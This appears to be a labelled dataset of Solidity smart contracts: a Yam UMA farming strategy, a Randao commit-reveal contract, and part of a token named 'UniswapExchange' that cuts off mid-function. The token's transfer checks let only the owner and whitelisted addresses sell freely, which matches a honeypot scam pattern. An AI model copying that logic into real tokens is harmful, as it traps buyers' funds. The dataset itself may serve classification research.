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pragma solidity ^0.5.15;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface UniswapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UniHelper{
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
UniswapPair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token0,
address token1_source
) internal {
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair
.getReserves();
uint256 quoted = quote(reserve1, reserve0);
uint256 amount_token1 = quoted.mul(amount_token0).div(ONE);
token0.transfer(address(uniswap_pair), amount_token0);
token1.transferFrom(token1_source, address(uniswap_pair), amount_token1);
UniswapPair(uniswap_pair).mint(address(this));
}
function _burnLPToken(UniswapPair uniswap_pair, address destination) internal {
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
UniswapPair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
}
contract YamGoverned {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract YamSubGoverned is YamGoverned {
event SubGovModified(
address account,
bool isSubGov
);
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair,
bool isToken0
) internal view returns (uint priceCumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = UniswapPair(pair).getReserves();
if (isToken0) {
priceCumulative = UniswapPair(pair).price0CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
}
} else {
priceCumulative = UniswapPair(pair).price1CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
}
contract TWAPBounded2 {
using SafeMath for uint256;
uint256 internal constant BASE = 10**18;
uint256 internal constant ONE = 10**18;
UniswapPair internal uniswap_pair = UniswapPair(
0x683ea972fFa19b7BaD6d6be0440E0A8465dBA71C
);
IERC20 internal constant WETH = IERC20(
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
);
IERC20 internal constant MAR_UGAS = IERC20(
0x4e110603e70B0b5f1c403ee543b37e1F1244Cf28
);
uint32 internal block_timestamp_last;
uint256 internal price_cumulative_last;
uint256 internal constant MIN_TWAP_TIME = 60 * 60;
uint256 internal constant MAX_TWAP_TIME = 120 * 60;
uint256 internal constant TWAP_BOUNDS = 5 * 10**15;
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
function bounds(uint256 uniswap_quote) internal view returns (uint256) {
uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE);
return minimum;
}
function bounds_max(uint256 uniswap_quote) internal view returns (uint256) {
uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE);
return maximum;
}
function withinBounds(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (bool)
{
uint256 uniswap_quote = consult();
uint256 quoted = quote(purchaseAmount, saleAmount);
uint256 minimum = bounds(uniswap_quote);
uint256 maximum = bounds_max(uniswap_quote);
return quoted > minimum && quoted < maximum;
}
function update_twap() public {
(
uint256 sell_token_priceCumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED");
price_cumulative_last = sell_token_priceCumulative;
block_timestamp_last = blockTimestamp;
}
function consult() internal view returns (uint256) {
(
uint256 sell_token_priceCumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
uint256 priceAverageSell = uint256(
uint224(
(sell_token_priceCumulative - price_cumulative_last) /
timeElapsed
)
);
uint256 purchasePrice;
if (priceAverageSell > uint192(-1)) {
purchasePrice = (priceAverageSell >> 112) * ONE;
} else {
purchasePrice = (priceAverageSell * ONE) >> 112;
}
return purchasePrice;
}
modifier timeBoundsCheck() {
uint256 elapsed_since_update = block.timestamp - block_timestamp_last;
require(
block.timestamp - block_timestamp_last < MAX_TWAP_TIME,
"Cumulative price snapshot too old"
);
require(
block.timestamp - block_timestamp_last > MIN_TWAP_TIME,
"Cumulative price snapshot too new"
);
_;
}
}
interface SynthMinter {
struct Unsigned {
uint256 rawValue;
}
struct PositionData {
Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
Unsigned withdrawalRequestAmount;
Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function create(
Unsigned calldata collateralAmount,
Unsigned calldata numTokens
) external;
function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory);
function withdraw(Unsigned calldata collateral_amount) external;
function positions(address account) external returns (PositionData memory);
function settleExpired() external returns (Unsigned memory);
function expire() external;
}
contract UMAFarmingMar is TWAPBounded2, UniHelper, YamSubGoverned {
enum ACTION {ENTER, EXIT}
constructor(address pendingGov_) public {
gov = msg.sender;
pendingGov = pendingGov_;
}
SynthMinter minter = SynthMinter(
0xfA3AA7EE08399A4cE0B4921c85AB7D645Ccac669
);
bool completed = true;
ACTION action;
address internal constant RESERVES = address(
0x97990B693835da58A281636296D2Bf02787DEa17
);
function _mint(uint256 collateral_amount, uint256 mint_amount) internal {
WETH.transferFrom(RESERVES, address(this), collateral_amount);
WETH.approve(address(minter), uint256(-1));
minter.create(
SynthMinter.Unsigned(collateral_amount),
SynthMinter.Unsigned(mint_amount)
);
}
function _repayAndWithdraw() internal {
MAR_UGAS.approve(address(minter), uint256(-1));
SynthMinter.PositionData memory position = minter.positions(
address(this)
);
uint256 ugasBalance = MAR_UGAS.balanceOf(address(this));
if (ugasBalance >= position.tokensOutstanding.rawValue) {
minter.redeem(position.tokensOutstanding);
} else {
minter.redeem(
SynthMinter.Unsigned(
position.tokensOutstanding.rawValue - ugasBalance <=
5 * 10**18
? position.tokensOutstanding.rawValue - 5 * 10**18
: ugasBalance
)
);
}
}
function enter() public timeBoundsCheck {
require(action == ACTION.ENTER, "Wrong action");
require(!completed, "Action completed");
uint256 ugasReserves;
uint256 wethReserves;
(ugasReserves, wethReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, ugasReserves),
"Market rate is outside bounds"
);
uint256 wethBalance = WETH.balanceOf(RESERVES);
require(wethBalance > 100*(10**18), "Not enough ETH");
uint256 collateral_amount = (wethBalance * 79) / 100;
uint256 mint_amount = (collateral_amount * ugasReserves) /
wethReserves /
4;
_mint(collateral_amount, mint_amount);
_mintLPToken(uniswap_pair, MAR_UGAS, WETH, mint_amount, RESERVES);
completed = true;
}
function exit() public timeBoundsCheck {
require(action == ACTION.EXIT);
require(!completed, "Action completed");
uint256 ugasReserves;
uint256 wethReserves;
(ugasReserves, wethReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, ugasReserves),
"Market rate is outside bounds"
);
_burnLPToken(uniswap_pair, address(this));
_repayAndWithdraw();
WETH.transfer(RESERVES, WETH.balanceOf(address(this)));
uint256 ugasBalance = MAR_UGAS.balanceOf(address(this));
if (ugasBalance > 0) {
MAR_UGAS.transfer(RESERVES, ugasBalance);
}
completed = true;
}
function _approveEnter()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.ENTER;
}
function _approveExit()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.EXIT;
}
function _redeem(uint256 debt_to_pay)
public
onlyGovOrSubGov
{
minter.redeem(SynthMinter.Unsigned(debt_to_pay));
}
function _withdrawCollateral(uint256 amount_to_withdraw)
public
onlyGovOrSubGov
{
minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw));
}
function _settleExpired()
public
onlyGovOrSubGov
{
minter.settleExpired();
}
function masterFallback(address target, bytes memory data)
public
onlyGovOrSubGov
{
target.call.value(0)(data);
}
function _getTokenFromHere(address token)
public
onlyGovOrSubGov
{
IERC20 t = IERC20(token);
t.transfer(RESERVES, t.balanceOf(address(this)));
}
} | 0 | 1,801 |
pragma solidity 0.5.2;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "");
owner = newOwner;
}
}
contract iRNG {
function __callback(bytes32 _queryId, uint _result) public;
}
contract Randao is Ownable {
struct Participant {
uint256 secret;
bytes32 commitment;
uint256 reward;
bool revealed;
bool rewarded;
}
struct Consumer {
address caddr;
uint256 bountypot;
}
struct Campaign {
uint32 bnum;
uint96 deposit;
uint16 commitBalkline;
uint16 commitDeadline;
uint256 random;
bool settled;
uint256 bountypot;
uint32 commitNum;
uint32 revealsNum;
mapping (address => Consumer) consumers;
mapping (address => Participant) participants;
}
uint256 public numCampaigns;
Campaign[] public campaigns;
address public founder;
address public rng;
modifier blankAddress(address _n) { if (_n != address(0)) revert(); _; }
modifier moreThanZero(uint256 _deposit) { if (_deposit <= 0) revert(); _; }
modifier notBeBlank(bytes32 _s) { if (_s == "") revert(); _; }
modifier beBlank(bytes32 _s) { if (_s != "") revert(); _; }
modifier beFalse(bool _t) { if (_t) revert(); _; }
constructor() public {
founder = msg.sender;
}
event LogCampaignAdded(uint256 indexed campaignID,
address from,
uint32 bnum,
uint96 deposit,
uint16 commitBalkline,
uint16 commitDeadline,
uint256 bountypot);
modifier timeLineCheck(uint32 _bnum, uint16 _commitBalkline, uint16 _commitDeadline) {
if (block.number >= _bnum) revert();
if (_commitBalkline <= 0) revert();
if (_commitDeadline <= 0) revert();
if (_commitDeadline >= _commitBalkline) revert();
if (block.number >= _bnum - _commitBalkline) revert();
_;
}
function newCampaign(
uint32 _bnum,
uint96 _deposit,
uint16 _commitBalkline,
uint16 _commitDeadline
)
payable
timeLineCheck(_bnum, _commitBalkline, _commitDeadline)
moreThanZero(_deposit)
external
returns (uint256 _campaignID)
{
_campaignID = campaigns.length++;
Campaign storage c = campaigns[_campaignID];
numCampaigns++;
c.bnum = _bnum;
c.deposit = _deposit;
c.commitBalkline = _commitBalkline;
c.commitDeadline = _commitDeadline;
c.bountypot = msg.value;
c.consumers[msg.sender] = Consumer(msg.sender, msg.value);
emit LogCampaignAdded(_campaignID, msg.sender, _bnum, _deposit, _commitBalkline, _commitDeadline, msg.value);
}
event LogFollow(uint256 indexed CampaignId, address indexed from, uint256 bountypot);
function follow(uint256 _campaignID)
external
payable
returns (bool)
{
Campaign storage c = campaigns[_campaignID];
Consumer storage consumer = c.consumers[msg.sender];
return followCampaign(_campaignID, c, consumer);
}
modifier checkFollowPhase(uint256 _bnum, uint16 _commitDeadline) {
if (block.number > _bnum - _commitDeadline) revert();
_;
}
function followCampaign(
uint256 _campaignID,
Campaign storage c,
Consumer storage consumer
)
checkFollowPhase(c.bnum, c.commitDeadline)
blankAddress(consumer.caddr)
internal
returns (bool)
{
c.bountypot += msg.value;
c.consumers[msg.sender] = Consumer(msg.sender, msg.value);
emit LogFollow(_campaignID, msg.sender, msg.value);
return true;
}
event LogCommit(uint256 indexed CampaignId, address indexed from, bytes32 commitment);
function commit(uint256 _campaignID, bytes32 _hs) notBeBlank(_hs) external payable {
Campaign storage c = campaigns[_campaignID];
commitmentCampaign(_campaignID, _hs, c);
}
modifier checkDeposit(uint256 _deposit) { if (msg.value != _deposit) revert(); _; }
modifier checkCommitPhase(uint256 _bnum, uint16 _commitBalkline, uint16 _commitDeadline) {
if (block.number < _bnum - _commitBalkline) revert();
if (block.number > _bnum - _commitDeadline) revert();
_;
}
function commitmentCampaign(
uint256 _campaignID,
bytes32 _hs,
Campaign storage c
)
checkDeposit(c.deposit)
checkCommitPhase(c.bnum, c.commitBalkline, c.commitDeadline)
beBlank(c.participants[msg.sender].commitment)
internal
{
c.participants[msg.sender] = Participant(0, _hs, 0, false, false);
c.commitNum++;
emit LogCommit(_campaignID, msg.sender, _hs);
}
event LogReveal(uint256 indexed CampaignId, address indexed from, uint256 secret);
function reveal(uint256 _campaignID, uint256 _s) external {
Campaign storage c = campaigns[_campaignID];
Participant storage p = c.participants[msg.sender];
revealCampaign(_campaignID, _s, c, p);
}
modifier checkRevealPhase(uint256 _bnum, uint16 _commitDeadline) {
if (block.number <= _bnum - _commitDeadline) revert();
if (block.number >= _bnum) revert();
_;
}
modifier checkSecret(uint256 _s, bytes32 _commitment) {
if (keccak256(abi.encodePacked(keccak256(abi.encodePacked(_s)))) != _commitment) revert();
_;
}
function revealCampaign(
uint256 _campaignID,
uint256 _s,
Campaign storage c,
Participant storage p
)
checkRevealPhase(c.bnum, c.commitDeadline)
checkSecret(_s, p.commitment)
beFalse(p.revealed)
internal
{
p.secret = _s;
p.revealed = true;
c.revealsNum++;
c.random ^= uint256(keccak256(abi.encodePacked(p.secret)));
emit LogReveal(_campaignID, msg.sender, _s);
}
modifier bountyPhase(uint256 _bnum){ if (block.number < _bnum) revert(); _; }
function getRandom(uint256 _campaignID) external returns (uint256) {
Campaign storage c = campaigns[_campaignID];
return returnRandom(c);
}
function returnRandom(Campaign storage c) bountyPhase(c.bnum) internal returns (uint256) {
if (c.revealsNum > 0) {
c.settled = true;
return c.random;
}
}
function getMyBounty(uint256 _campaignID) external {
Campaign storage c = campaigns[_campaignID];
Participant storage p = c.participants[msg.sender];
transferBounty(c, p);
}
function transferBounty(
Campaign storage c,
Participant storage p
)
bountyPhase(c.bnum)
beFalse(p.rewarded)
internal
{
if (c.revealsNum > 0) {
if (p.revealed) {
uint256 share = calculateShare(c);
returnReward(share, c, p);
}
} else {
returnReward(0, c, p);
}
}
function calculateShare(Campaign memory c) internal pure returns (uint256 _share) {
if (c.commitNum > c.revealsNum) {
_share = (c.bountypot + fines(c)) / c.revealsNum;
} else {
_share = c.bountypot / c.revealsNum;
}
}
function returnReward(
uint256 _share,
Campaign storage c,
Participant storage p
) internal {
p.reward = _share;
p.rewarded = true;
if (!msg.sender.send(_share + c.deposit)) {
p.reward = 0;
p.rewarded = false;
}
}
function fines(Campaign memory c) internal pure returns (uint256) {
return (c.commitNum - c.revealsNum) * c.deposit;
}
function refundBounty(uint256 _campaignID) external {
Campaign storage c = campaigns[_campaignID];
returnBounty(c);
}
modifier campaignFailed(uint32 _commitNum, uint32 _revealsNum) {
if (_commitNum != 0 && _revealsNum != 0) revert();
_;
}
modifier beConsumer(address _caddr) {
if (_caddr != msg.sender) revert();
_;
}
function returnBounty(Campaign storage c)
bountyPhase(c.bnum)
campaignFailed(c.commitNum, c.revealsNum)
beConsumer(c.consumers[msg.sender].caddr)
internal
{
uint256 bountypot = c.consumers[msg.sender].bountypot;
c.consumers[msg.sender].bountypot = 0;
if (!msg.sender.send(bountypot)) {
c.consumers[msg.sender].bountypot = bountypot;
}
}
function getDoubleKeccak256(uint256 _s) public pure returns (bytes32) {
return bytes32(keccak256(abi.encodePacked(keccak256(abi.encodePacked(_s)))));
}
function getKeccak256(uint256 _s) public pure returns (bytes32) {
return bytes32(keccak256(abi.encodePacked(_s)));
}
function getBytes32(uint256 _s) public pure returns (bytes32) {
return bytes32(_s);
}
function setRNG(address _rng) public onlyOwner {
require(_rng != address(0));
rng = _rng;
}
function sendRandomToRNg(uint256 _campaignID) public onlyOwner bountyPhase(campaigns[_campaignID].bnum) {
iRNG(rng).__callback(bytes32(_campaignID), campaigns[_campaignID].random);
}
} | 0 | 1,628 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
